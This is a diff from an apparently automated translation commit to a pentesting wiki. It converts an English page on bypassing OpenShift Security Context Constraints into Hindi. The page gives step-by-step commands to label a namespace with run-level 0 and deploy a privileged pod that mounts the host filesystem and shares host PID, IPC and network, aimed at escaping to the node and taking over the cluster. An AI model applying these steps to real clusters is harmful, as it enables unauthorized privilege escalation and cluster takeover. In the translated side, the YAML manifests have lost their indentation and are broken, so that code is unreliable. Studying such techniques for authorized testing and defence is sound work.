Translated ['.github/pull_request_template.md', 'src/pentesting-cloud/az

src/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/openshift-scc-bypass.md

@@ -1,10 +1,10 @@
 # Openshift - SCC bypass
 
-**The original author of this page is** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
+**इस पृष्ठ के मूल लेखक हैं** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
 
-## Privileged Namespaces
+## विशेषाधिकार प्राप्त नामस्थान
 
-By default, SCC does not apply on following projects :
+डिफ़ॉल्ट रूप से, SCC निम्नलिखित परियोजनाओं पर लागू नहीं होता है:
 
 - **default**
 - **kube-system**
@@ -13,130 +13,114 @@ By default, SCC does not apply on following projects :
 - **openshift-infra**
 - **openshift**
 
-If you deploy pods within one of those namespaces, no SCC will be enforced, allowing for the deployment of privileged pods or mounting of the host file system.
+यदि आप इन नामस्थानों में से किसी एक में पॉड्स तैनात करते हैं, तो कोई SCC लागू नहीं होगा, जिससे विशेषाधिकार प्राप्त पॉड्स की तैनाती या होस्ट फ़ाइल प्रणाली को माउंट करने की अनुमति मिलती है।
 
-## Namespace Label
+## नामस्थान लेबल
 
-There is a way to disable the SCC application on your pod according to RedHat documentation. You will need to have at least one of the following permission :
-
-- Create a Namespace and Create a Pod on this Namespace
-- Edit a Namespace and Create a Pod on this Namespace
+RedHat दस्तावेज़ के अनुसार, आपके पॉड पर SCC आवेदन को अक्षम करने का एक तरीका है। आपको निम्नलिखित में से कम से कम एक अनुमति होनी चाहिए:
 
+- एक नामस्थान बनाना और इस नामस्थान पर एक पॉड बनाना
+- एक नामस्थान संपादित करना और इस नामस्थान पर एक पॉड बनाना
 ```bash
 $ oc auth can-i create namespaces
-  yes
+yes
 
 $ oc auth can-i patch namespaces
-  yes
+yes
 ```
-
-The specific label`openshift.io/run-level` enables users to circumvent SCCs for applications. As per RedHat documentation, when this label is utilized, no SCCs are enforced on all pods within that namespace, effectively removing any restrictions.
+विशिष्ट लेबल `openshift.io/run-level` उपयोगकर्ताओं को अनुप्रयोगों के लिए SCCs को दरकिनार करने की अनुमति देता है। RedHat दस्तावेज़ के अनुसार, जब इस लेबल का उपयोग किया जाता है, तो उस नामस्थान के भीतर सभी पॉड्स पर कोई SCCs लागू नहीं होते, प्रभावी रूप से किसी भी प्रतिबंध को हटा दिया जाता है।
 
 <figure><img src="../../../images/Openshift-RunLevel4.png" alt=""><figcaption></figcaption></figure>
 
-## Add Label
-
-To add the label in your namespace :
+## लेबल जोड़ें
 
+अपने नामस्थान में लेबल जोड़ने के लिए:
 ```bash
 $ oc label ns MYNAMESPACE openshift.io/run-level=0
 ```
-
-To create a namespace with the label through a YAML file:
-
+एक YAML फ़ाइल के माध्यम से लेबल के साथ एक नामस्थान बनाने के लिए:
 ```yaml
 apiVersion: v1
 kind: Namespace
 metadata:
-  name: evil
-  labels:
-    openshift.io/run-level: 0
+name: evil
+labels:
+openshift.io/run-level: 0
 ```
-
-Now, all new pods created on the namespace should not have any SCC
+अब, नामस्थान पर बनाए गए सभी नए पॉड्स में कोई SCC नहीं होनी चाहिए
 
 <pre class="language-bash"><code class="lang-bash"><strong>$ oc get pod -o yaml | grep 'openshift.io/scc'
-</strong><strong>$                                            
+</strong><strong>$
 </strong></code></pre>
 
-In the absence of SCC, there are no restrictions on your pod definition. This means that a malicious pod can be easily created to escape onto the host system.
-
+SCC की अनुपस्थिति में, आपके पॉड परिभाषा पर कोई प्रतिबंध नहीं हैं। इसका मतलब है कि एक दुर्भावनापूर्ण पॉड को आसानी से बनाया जा सकता है ताकि वह होस्ट सिस्टम पर भाग सके।
 ```yaml
 apiVersion: v1
 kind: Pod
 metadata:
-  name: evilpod
-  labels:
-    kubernetes.io/hostname: evilpod
+name: evilpod
+labels:
+kubernetes.io/hostname: evilpod
 spec:
-  hostNetwork: true #Bind pod network to the host network
-  hostPID: true #See host processes
-  hostIPC: true #Access host inter processes
-  containers:
-    - name: evil
-      image: MYIMAGE
-      imagePullPolicy: IfNotPresent
-      securityContext:
-        privileged: true
-        allowPrivilegeEscalation: true
-      resources:
-        limits:
-          memory: 200Mi
-        requests:
-          cpu: 30m
-          memory: 100Mi
-      volumeMounts:
-        - name: hostrootfs
-          mountPath: /mnt
-  volumes:
-    - name: hostrootfs
-      hostPath:
-        path:
+hostNetwork: true #Bind pod network to the host network
+hostPID: true #See host processes
+hostIPC: true #Access host inter processes
+containers:
+- name: evil
+image: MYIMAGE
+imagePullPolicy: IfNotPresent
+securityContext:
+privileged: true
+allowPrivilegeEscalation: true
+resources:
+limits:
+memory: 200Mi
+requests:
+cpu: 30m
+memory: 100Mi
+volumeMounts:
+- name: hostrootfs
+mountPath: /mnt
+volumes:
+- name: hostrootfs
+hostPath:
+path:
 ```
-
-Now, it has become easier to escalate privileges to access the host system and subsequently take over the entire cluster, gaining 'cluster-admin' privileges. Look for **Node-Post Exploitation** part in the following page :
+अब, होस्ट सिस्टम तक पहुँचने के लिए विशेषाधिकारों को बढ़ाना और इसके बाद पूरे क्लस्टर पर नियंत्रण प्राप्त करना, 'cluster-admin' विशेषाधिकार प्राप्त करना आसान हो गया है। निम्नलिखित पृष्ठ में **Node-Post Exploitation** भाग देखें:
 
 {{#ref}}
 ../../kubernetes-security/attacking-kubernetes-from-inside-a-pod.md
 {{#endref}}
 
-### Custom labels
+### कस्टम लेबल
 
-Furthermore, based on the target setup, some custom labels / annotations may be used in the same way as the previous attack scenario. Even if it is not made for, labels could be used to give permissions, restrict or not a specific resource.
+इसके अलावा, लक्षित सेटअप के आधार पर, कुछ कस्टम लेबल / एनोटेशन का उपयोग पिछले हमले के परिदृश्य के समान किया जा सकता है। भले ही इसे इसके लिए नहीं बनाया गया हो, लेबल का उपयोग अनुमतियाँ देने, किसी विशेष संसाधन को प्रतिबंधित करने या न करने के लिए किया जा सकता है।
 
-Try to look for custom labels if you can read some resources. Here a list of interesting resources :
+यदि आप कुछ संसाधनों को पढ़ सकते हैं तो कस्टम लेबल की तलाश करें। यहाँ कुछ दिलचस्प संसाधनों की सूची है:
 
 - Pod
 - Deployment
 - Namespace
 - Service
 - Route
-
 ```bash
 $ oc get pod -o yaml | grep labels -A 5
 $ oc get namespace -o yaml | grep labels -A 5
 ```
-
-## List all privileged namespaces
-
+## सभी विशेषाधिकार प्राप्त नामस्थान सूचीबद्ध करें
 ```bash
 $ oc get project -o yaml | grep 'run-level' -b5
 ```
-
 ## Advanced exploit
 
-In OpenShift, as demonstrated earlier, having permission to deploy a pod in a namespace with the `openshift.io/run-level`label can lead to a straightforward takeover of the cluster. From a cluster settings perspective, this functionality **cannot be disabled**, as it is inherent to OpenShift's design.
+OpenShift में, जैसा कि पहले दिखाया गया, `openshift.io/run-level` लेबल के साथ एक नामस्थान में एक पॉड को तैनात करने की अनुमति होने से क्लस्टर का सीधा अधिग्रहण हो सकता है। क्लस्टर सेटिंग्स के दृष्टिकोण से, यह कार्यक्षमता **निष्क्रिय नहीं की जा सकती**, क्योंकि यह OpenShift के डिज़ाइन में अंतर्निहित है।
 
-However, mitigation measures like **Open Policy Agent GateKeeper** can prevent users from setting this label.
+हालांकि, **Open Policy Agent GateKeeper** जैसी शमन उपाय उपयोगकर्ताओं को इस लेबल को सेट करने से रोक सकते हैं।
 
-To bypass GateKeeper's rules and set this label to execute a cluster takeover, **attackers would need to identify alternative methods.**
+GateKeeper के नियमों को बायपास करने और क्लस्टर अधिग्रहण को निष्पादित करने के लिए इस लेबल को सेट करने के लिए, **हमलावरों को वैकल्पिक तरीकों की पहचान करने की आवश्यकता होगी।**
 
 ## References
 
 - [https://docs.openshift.com/container-platform/4.8/authentication/managing-security-context-constraints.html](https://docs.openshift.com/container-platform/4.8/authentication/managing-security-context-constraints.html)
 - [https://docs.openshift.com/container-platform/3.11/admin_guide/manage_scc.html](https://docs.openshift.com/container-platform/3.11/admin_guide/manage_scc.html)
 - [https://github.com/open-policy-agent/gatekeeper](https://github.com/open-policy-agent/gatekeeper)
-
-
-
-